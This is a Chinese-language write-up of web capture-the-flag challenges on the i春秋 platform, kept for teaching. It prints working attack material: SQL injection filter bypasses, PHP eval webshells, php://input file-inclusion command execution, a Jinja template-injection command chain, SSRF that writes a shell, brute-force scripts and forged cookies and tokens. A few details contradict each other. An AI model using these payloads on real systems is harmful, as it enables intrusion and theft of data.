翻到了很久之前做i春秋CTF题目时写的writeup,有的题目现在可能都无法访问了,把这篇文章发出来主要是里面有很多知识点还是值得学习推敲的。
题目链接:http://106.XX.XX.168:1111/
进入链接看到一串代码,目测是jsfuck。
代码太多,这里就不放出来了
打开浏览器,按F12,把代码放到console里面跑一下报错了,联想到题目给的broken想到有可能是代码不全,经过观察发现第一个[括号没有对应的右括号,在末尾加上一个右括号,再把结尾的()去掉
直接得到一个Array:Array [ "var flag=\"flag{f_f_l_u_a_c_g_k}\";alert('flag is not here');" ]
上传的时候用burpsuite抓个包然后把Content-Type字段改成image/jpeg
菜刀连上之后并没有找到flag文件,推测是不是在ctf数据库里面,那么看一下数据库配置文件config.php,看到了数据库账号密码
编辑菜刀连接数据库上去拿到flag
题目地址:http://120.XX.XX.20:1515/
进入题目后是一堆帽子,往下拉有一个链接I want to check the color of my hat!
点进去这个链接发现有一个提交框
随便输一个提交进去发现页面直接跳转了,跳转到的那个页面又是一堆帽子,没什么意义。
那么这道题的关键应该就在这个提交框了,回到http://120.XX.XX.20:1515/route.php?act=login
页面
为了防止页面跳转,我们用抓包来抓取页面
抓取到的页面和网页的回应如下
从网页的返回可以看到一行sql语句,初步判定这道题用的应该是sql注入,然后我们在name字段随便输入一个值,后边加上单引号,可以看到页面返回如下。
通过分析我们发现页面把我们输入的单引号替换成了反斜杠,那么我们如果在末尾加上了单引号原本sql语句末的单引号就被转移掉了,通过测试和分析发现空格也被过滤掉了,这里脑补一下在sql语句中注释符是可以代替空格的,这里就用/**/
来代替空格,最后总结出来payload:or/**/1#1'
页面返回如下
我们来分析一下下面这个sql语句真正执行的是什么:
select count(*) from t_info where username = 'or/**/1#1\' or nickname = 'or/**/1#1\'
首先第一个单引号从 username = 的后边一直到 nickname = 的后边,两个单引号中间虽然还有个单引号1\'
,但是这个单引号左边有一个反斜杠,被反斜杠转义了之后就失去了单引号的意义,所以可以认为它不是个单引号。那么两个单引号之间的内容其实都是username的值,而至于语句的最后边#1\'
,在sql语句中#代表注释符,#后边的内容都被注释掉了,我们就直接当作后边没有东西,而/*_/在sql语句中是注释符,其实就等价于空格,那么这个sql语句整理一下就是这样:
select count(_) from t_info where username = ‘A’ or 1
语句的后边or 1 永远为真,所以可以直接登录成功。
然后拿着payload放到网站的登录框内,点击提交,
得到flag。
进去之后显示:Hi,CTFer!u should be a fast man:)
按F12查看网络发现请求头里有个flag字段是base64编码的,那么拿出来对其解码得到一个数,然后我们查看页面的源代码发现有一句话:Please post ichunqiu what you find
那么我们Post这个参数ichunqiu=前边解码得到的字符串
然后页面返回Hi,CTFer!u should be a fast man:)
那么上脚本:
import requests
import base64
a = requests.session()
b = a.get(“http://8913d6c422814e9a83f85cbfe9d35387fa36a0b37d934e25.game.ichunqiu.com//")
key1 = b.headers[“flag”]
c = base64.b64decode(key1)
d = str(c).split(‘:’)
key = base64.b64decode(d[1])
body = {“ichunqiu”:key}
f = a.post(“http://8913d6c422814e9a83f85cbfe9d35387fa36a0b37d934e25.game.ichunqiu.com/",data=body)
print(f.text)
得到结果:
Path:3712901a08bb58557943ca31f3487b7d
访问地址:http://8913d6c422814e9a83f85cbfe9d35387fa36a0b37d934e25.game.ichunqiu.com/3712901a08bb58557943ca31f3487b7d
我们对目录扫描发现有一个/.svn 有可能是源码泄露,然后对http://8913d6c422814e9a83f85cbfe9d35387fa36a0b37d934e25.game.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/.svn
进行目录扫描发现下边有一个wc.db文件,访问一下看到一句话:my username is md5(HEL1OW1OrDEveryOn3)
将这句话md5加密一下:8638d5263ab0d3face193725c23ce095
然后我们进入登录页面:
password=123456
下边还有这句话:
substr(md5(captcha), 0, 6)=da6137
上脚本,爆破验证码:
import hashlib
def md5(s):
return hashlib.md5(str(s).encode(‘utf-8’)).hexdigest()
def main(s):
for i in range(1,99999999):
if md5(i)[0:6] == str(s):
print(i)
exit(0)
if name == ‘main‘:
main(“e34002”)
获得验证码后点击submit得到这句话
The 7815696ecbf1c96e6894b779456d330e.php:) Welcome 8638d5263ab0d3face193725c23ce095!
然后访问url:http://8913d6c422814e9a83f85cbfe9d35387fa36a0b37d934e25.game.ichunqiu.com/3712901a08bb58557943ca31f3487b7d/7815696ecbf1c96e6894b779456d330e.php
进入到一个文件上传的页面,经典的文件上传漏洞,上传一个jpg图片,打开burp suite抓个包将文件名后缀改成pht即可得到flag.
题目内容:没错!就是文件包含漏洞
进去后看到一串代码:
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}
通过代码审计发现可以传入一个参数path,里面的填入的文件路径可以访问,
那么试一试传入?path=flag.php
看能不能得到flag 但是发现并不行
刚开始没什么头绪,后来想到能不能试一试为协议呢:
于是传入参数:?path=php://input
然后post里面传入一个一句话:<?php system('ls'); ?>
然后访问之后就会看到
当前路径下有三个文件,然后我们访问一下第一个最有可能的文件:
利用burpsuite抓包
仍然利用之前的payload get传入?path=php://input
post传入<?php system('cat dle345aae.php'); ?>
然后得到页面返回的flag
题目内容:一个ip只有一个机会,哈哈哈。
进去后就给了源代码:
<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo '<pre>';
include('u/ip.php');
include('flag.php');
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
die("您的ip已进入系统黑名单");
}
var_dump($ip);
if ($_POST[substr($flag,5,3)]=='attack'){
echo $flag;
}else if (count($_POST)>0){
$ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL;
file_put_contents('u/ip.php',$ip,FILE_APPEND);
}
echo '</pre>';
代码审计可知:
若当前IP与$ip变量的内容相同,则提示信息直接退出。
当POST中某id的键值等于’attack’时,打印$flag。这个id为$flag的第五个位置开始,长度为3的一个字符串。
如果不满足(2),则检查POST的变量个数,大于0则把你当前的IP加入到黑名单中(故一个IP只能攻击一次,失败了就要重新创建题目)
tips:其实这里用python脚本也可以添加代理,这样如果IP被添加到黑名单的话也不用非要重新创建赛题
直接献上代码:
import requests
a = "1234567890"
data = {}
for i in a:
for j in a:
for k in a:
data[i+j+k]="attack"
print(data)
r=requests.post("http://http://af607c7697f54098938c60906d7323ad38823a770723442c.game.ichunqiu.com/",data=data)
print(r.text)
运行即可得到flag。
利用模糊测试得到参数是name
输入?name=test
得到Hello test
给出payload:
name=%7B%7B ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') %7D%7D
name=%7B%7B config.from_pyfile('/tmp/owned.cfg') %7D%7D
name=%7B%7B%20config[%27RUNCMD%27](%27/usr/bin/id%27,shell=True)%20%7D%7D
name=%7B%7B%20config[%27RUNCMD%27](%27echo cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==|base64 -d>/tmp/get.py%27,shell=True)%20%7D%7D
name=%7B%7B%20config[%27RUNCMD%27](%27python /tmp/get.py%27,shell=True)%20%7D%7D
题目内容:我看的见你,你却看不见我。(非隐写)
还给了两个提示:
tips:sql injection
tips2: mysql 字符集
挺有趣的一道题,注入+getshell
进入题目一片空白,查看源代码还是那样
看一看请求头发现一个有用的东西
X-HT:VERIFY
提示上说是SQL注入,那么注入用的参数可能就是这个字段,那么我们来试一试:
http://4a3416333d9544e9bbc41478dc5602d072d55777f2564419.game.ichunqiu.com/?verify=adm
页面返回:verify error
说明我们的参数还是有效果的,我的习惯是先试一试万能密码:http://4a3416333d9544e9bbc41478dc5602d072d55777f2564419.game.ichunqiu.com/?verify='=0%23
页面返回了一个文件:
next page 5211ec9dde53ee65bb02225117fba1e1.php
那么我们来访问它一下:http://4a3416333d9544e9bbc41478dc5602d072d55777f2564419.game.ichunqiu.com/5211ec9dde53ee65bb02225117fba1e1.php
页面返回只有一个hello,根据刚才的经验,直接查看请求头看看:
看到viminfo想到是不是vim备份文件,那么访问一下:
http://4a3416333d9544e9bbc41478dc5602d072d55777f2564419.game.ichunqiu.com/.viminfo
看到了有用的东西:
那么访问一下这个备份文件:
http://4a3416333d9544e9bbc41478dc5602d072d55777f2564419.game.ichunqiu.com/icq/看到了两行的php代码
查看页面的源代码:
看到了完整的php代码:
<?php
$con = mysql_connect('localhost','root','');
mysql_query("set names utf8");
mysql_select_db("ctf");
if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){
$name = addslashes($_GET['usern3me']);
}
else{
if(stripos($_GET['usern3me'],'Bctf2O16')!==false){
$name = 'FUCK';
}
else{
$name = addslashes($_GET['usern3me']);
}
}
echo 'hello '.$name;
$sql = "select * from admin where name='$name'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
echo '<br>next ***.php';
}
?>
代码审计可以发现,其实就是要查询Bctf2O16,但是又不能出现这个字符串,根据提示想到mysql字符集
于是构造出payload:http://4a3416333d9544e9bbc41478dc5602d072d55777f2564419.game.ichunqiu.com/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=B%C3%87tf2O16
页面返回
hello BÇtf2O16 next c3368f5eb5f8367fd548b228bee69ef2.php
那么继续查看这个文件
http://4a3416333d9544e9bbc41478dc5602d072d55777f2564419.game.ichunqiu.com/c3368f5eb5f8367fd548b228bee69ef2.php
页面返回了一个php代码:
<?php
if(isset($_GET['path']) && isset($_GET['filename'])){
$path = $_GET['path'];
$name = "upload/".$_GET['filename'];
}
else{
show_source(__FILE__);
exit();
}
if(strpos($name,'..') > -1){
echo 'WTF';
exit();
}if(strpos($path,'http://127.0.0.1/') === 0){
file_put_contents($name,file_get_contents($path));
}
else{
echo 'path error';
}
?>
还要代码审计,需要传入一个path变量,里面要有http://127.0.0.1/
这个字段,那么我们用url来写入一个一句话:
http://4a3416333d9544e9bbc41478dc5602d072d55777f2564419.game.ichunqiu.com/c3368f5eb5f8367fd548b228bee69ef2.php?path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[c]);?>&filename=b.php
访问之后就生成了一个一句话木马,路径就是/upload/bag.php
上菜刀了,路径是http://4a3416333d9544e9bbc41478dc5602d072d55777f2564419.game.ichunqiu.com/upload/b.php
密码就是:c
菜刀连上之后
查看一下当前目录下的文件:
什么都没有,那么返回到上一个目录,再查看一下有什么文件:
终于得到了想要的,cat flag_is_here.php
就有flag了
想怎么传就怎么传,就是这么任性
hint:肯定是文件上传了
相信大家看到这个想法都跟我一样,传一个一句话上去
<?php
@eval($_POST["code"]);
?>
结果显示上传成功
查看页面源代码可以看到上传的路径/u/test.php
我们查看文件,发现把“<”和”php ”给过滤掉了
那我们就很自然的想到PHP的长标签了
重新修改代码
<script language="PHP">
@eval($_POST["code"]);
</script>
发现上传成功,使用菜刀连接,发现flag.php
打开,得到flag
题目内容:考脑洞,你能过么?
题目地址:http://cea11f0c10d14e938cd6b2402c1b3fc193002477900b454b.game.ichunqiu.com/index.php?jpg=hei.jpg
进入题目后看到一张图片,查看源代码是被BASE64编码了,源码太长就不放了,这里直接放上解码后的:
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
其实这段代码里面最有用的不是代码而是最容易被忽略掉的注释
注释里面有这句话:Created by PhpStorm
这里脑补一下:用PhpStorm写出来的项目里面都会有/.idea文件,删除之后还会重新创建(当然可以禁止访问),这就比较有意思了,我们可以访问/.idea/workspace.xml
在这个页面里发现了两个有用的文件:fl3g_ichuqiu.php config.php
我们要的东西有可能就在这两个文件里,那么查看一下源文件:
http://cea11f0c10d14e938cd6b2402c1b3fc193002477900b454b.game.ichunqiu.com/index.php?jpg=fl3g_ichuqiu.php
访问之后发现并没有返回什么东西,是不是哪里出错了呢,看一看index.php
文件,发现有一行把字符串config
替换成了一个下划线_
那么我们就需要构造URL来访问这个文件,既然config被替换成了下划线,那么payload如下:
http://cea11f0c10d14e938cd6b2402c1b3fc193002477900b454b.game.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php
这样可以访问到这个文件,源码太长,这里还放解码后的
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>
代码审计喽
其实就是将函数decrypt返回的值传给username。
如果username=system,那么输出flag
所以说,我们现在是需要得到变量key和变量rnd
然后这里附上得到username值的代码
<?php
$txt1 = 'guest';
for ($i = 0; $i < strlen($txt1); $i++) {
$txt1[$i] = chr(ord($txt1[$i])+10);
}
$cookie_guest = 'emVTQkZHCh8d';
$cookie_guest = base64_decode($cookie_guest);
$rnd = substr($cookie_guest,0,4);
$ttmp = substr($cookie_guest,4);
$key='';
for ($i = 0; $i < strlen($txt1); $i++) {
$key .= ($txt1[$i] ^ $ttmp[$i]);//$key=md5($rnd.$key);
}
$txt2 = 'system';
for ($i = 0; $i < strlen($txt2); $i++) {
$txt2[$i] = chr(ord($txt2[$i])+10);
}
$md5 = '0123456789abcdef';
for ($i = 0; $i < strlen($md5); $i++) {
$key_new = $key.$md5[$i];
$cookie_system='';
for ($j = 0; $j < strlen($txt2); $j++) {
$cookie_system .= ($key_new[$j] ^ $txt2[$j]);
}
$cookie_system = base64_encode($rnd.$cookie_system);
echo $cookie_system."</br>";
}
?>
代码运行后会得到一串值
我们用burpsuite对username的值进行爆破
爆破会得到一个正确的username的值,然后直接修改后访问就可以得到flag
题目内容:出题人就告诉你这是个注入,有种别走!
进入后就说flag在数据库中,那就开始注入吧,测试之后发现不需要单引号,那么看看有几个字段,http://40de7769ffb54dc184655e6940d6e0fc0b1a530ddb0f468f.game.ichunqiu.com/index.php?id=1 order by 3
发现返回了inj code!
判断肯定是过滤了关键字,那么用注释符/**/绕过:
`http://40de7769ffb54dc184655e6940d6e0fc0b1a530ddb0f468f.game.ichunqiu.com/index.php?id=1 or/**/der by 3`
页面没有返回,猜测可能是注释符也被过滤了,那就试试<>
这个符号http://40de7769ffb54dc184655e6940d6e0fc0b1a530ddb0f468f.game.ichunqiu.com/index.php?id=1 or<>der by 3
成功返回东西,说明这样可以绕过,那么试一下4:http://40de7769ffb54dc184655e6940d6e0fc0b1a530ddb0f468f.game.ichunqiu.com/index.php?id=1 or/**/der by 4
返回为空,说明字段为3。
然后开始注入:
获取数据库名:
http://40de7769ffb54dc184655e6940d6e0fc0b1a530ddb0f468f.game.ichunqiu.com/index.php?id=1 uni<>on se<>lect 1,database(),3
数据库:sqli
获取表名:
http://40de7769ffb54dc184655e6940d6e0fc0b1a530ddb0f468f.game.ichunqiu.com/index.php?id=1 uni<>on se<>lect 1,group_concat(table_name),3 from info<>rmation_schema.tables where table_schema='sqli'
表:info
获取列名:
http://40de7769ffb54dc184655e6940d6e0fc0b1a530ddb0f468f.game.ichunqiu.com/index.php?id=1 uni<>on se<>lect 1,group_concat(column_name),3 from info<>rmation_schema.columns where table_name='info'
列:id,title,flAg_T5ZNdrm
获取字段:
http://40de7769ffb54dc184655e6940d6e0fc0b1a530ddb0f468f.game.ichunqiu.com/index.php?id=1 uni<>on se<>lect 1,group_concat(id,title,flAg_T5ZNdrm),3 from info
字段:
id:1,2
title:flag{在数据库中},test
flAg_T5ZNdrm:flag{6628cc6e-8930-4dd2-b1cc-a0835365010b},test
12.SQLi
题目内容:后台有获取flag的线索
拿到题目后是一个空白页面,查看源代码发现有个提示:<!-- login.php?id=1 \-->
访问之后测试了各种方法发现并不能注入,然后查看源代码也没有提示,请求头也没有东西,这时候要么就是有隐藏的后台,要么就是页面发生了跳转,利用扫描器扫了很长时间也没找到后台,那可能就是重定向了,我们查看页面的流量监测,然后访问http://aaa52ea761d944cea3b2d9a344d85f80920033eeae534f39.game.ichunqiu.com/index.php
这时候可以看到总共访问了两个网页
其中一个就是302跳转,我们查看一下这个302的响应头:
在它里面发现了这个东西l0gin.php?id=1
估计真正的注入网站是这个
我们先访问一下:
http://aaa52ea761d944cea3b2d9a344d85f80920033eeae534f39.game.ichunqiu.com/l0gin.php?id=1
返回了这个东西,发现是可以注入的,但是让它继续跑却跑不出来了,那就手工注入吧
多次测试后发现,
后边的东西被过滤掉了,那就不能用逗号了,这里直接脑补一个不用逗号也可以注入的SQL语句(Join)id=-1' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select version() ) b %23
然后开始查询我们要的东西了:
查询数据库:
http://aaa52ea761d944cea3b2d9a344d85f80920033eeae534f39.game.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select database() ) b %23
查询表:
http://aaa52ea761d944cea3b2d9a344d85f80920033eeae534f39.game.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select group_concat(table_name) from information_schema.tables where table_schema='sqli' ) b %23
查询列:
http://aaa52ea761d944cea3b2d9a344d85f80920033eeae534f39.game.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select group_concat(column_name) from information_schema.columns where table_name='users' ) b %23
查询字段:
http://aaa52ea761d944cea3b2d9a344d85f80920033eeae534f39.game.ichunqiu.com/l0gin.php?id=-1' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select group_concat(flag_9c861b688330) from users ) b %23
然后就得到了flag。
题目内容:12341234,然后就解开了
分值:50分 类型:Web
打开网址,查看网页源代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>会员登录</title>
</head>
<body>
<center>
<h4>请输入帐号密码进行登录</h4>
<form action="" method="POST">
<input type="text" name="username" placeholder='用户名' />
<br /><br />
<input type="password" name="password" placeholder='密码' />
<br /> <br />
<input type="submit" name="submit" value="登录" />
<!-- 用户信息都在user.php里 -->
<!-- 用户默认默认密码为用户名+出生日期 例如:zhangwei1999 -->
</form>
</center>
</body>
</html>
<br /><br /><center>
重要的是这两句:
<!-- 用户信息都在user.php里 -->
<!-- 用户默认默认密码为用户名+出生日期 例如:zhangwei1999 -->
查看user.php
是空的,那就看一下user.php.bak
,发现可以下载下来,那么下载到本地我们看一下
是所有的用户名,再加上给的提示 默认密码是用户名+出生日期 那么很明显了 这道题要用爆破,我们抓个包
注意上边的Attack type
,这个要选择我选的这个,意思是两个参数一起爆破密码用姓名+1990,这个没办法只能试出来
通过爆破的结果可以看到有一个账户是lixiuyun lixiuyun1990
那么登录上去,是空的,查看源代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>个人中心</title>
</head>
<body>
<center>
<!-- 存在漏洞需要去掉 -->
<!-- <form action="" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form> -->
</center>
</body>
</html>
注释里的东西是文件上传,那么我们只能在本地搭建一个这样的环境做测试
在本地弄一个1.php的文件,代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>个人中心</title>
</head>
<body>
<center>
<!-- 存在漏洞需要去掉 -->
<!-- <form action="http://026c6f6870ec4ba2a443e1487cf09eca89966db584ff4053.game.ichunqiu.com/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form> -->
</center>
</body>
</html>
注意 form action要填写你的i春秋上边的题目地址
然后我们上传,其实就是一般的文件上传,我么上传一个图片,把后缀改成.pht
就可以了
上传成功后会看到这个东西
那么直接在本地的环境上访问:
http://026c6f6870ec4ba2a443e1487cf09eca89966db584ff4053.game.ichunqiu.com/view.php
出来一个超链接,点开是file?
那么应该就很明显了,我们直接查看url/view.php?file=flag
页面返回filter "flag"
应该是过滤了flag
那么用双写来绕过过滤url/view.php?file=flaflagg
这样就看到了flag
题目名称:Login
题目内容:加油,我看好你
首先进入题目,一个登录框,需要输入账号密码
查看源代码:猛一看没啥有用的东西,其实往下拉一拉会看到好东西
<!-- test1 test1 -->
那么就登录吧:用户名和密码已经给了
登录之后页面自动跳转了:
http://ca965ed9a1e142e4a7d95044336b258107b780911e6f40b0.game.ichunqiu.com/member.php
跳转到了这个页面,里面没啥东西
查看源代码也没有
看一下响应头,发现了一个参数:show:0
然后就抓包改包呗:
我们在包里随便找个地方加上这个参数:show:1
然后发包会看到页面把源代码给我们返回了过来
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "乱码";
}
}else{
header('Location: index.php?error=1');
}
?>
然后就是代码审计了,从代码中可以看到:
需要满足 $login['user'] === 'ichunqiu'
而user被$login = unserialize(gzuncompress(base64_decode($requset['token'])));
处理过那么就给他反过来执行一遍:
<?php
$a = array("user" => "ichunqiu");
$a = base64_encode(gzcompress(serialize($a)));
echo $a;
?>
得到了一串base64编码:eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
然后我们在Cookie中加上token参数,将它放进去
得到flag。
题目都是之前做题的时候记的笔记,这两天翻到了,虽然有的题目可能都访问不到了,但是还是想着总结一下发出来,有很多知识点还是值得学学的。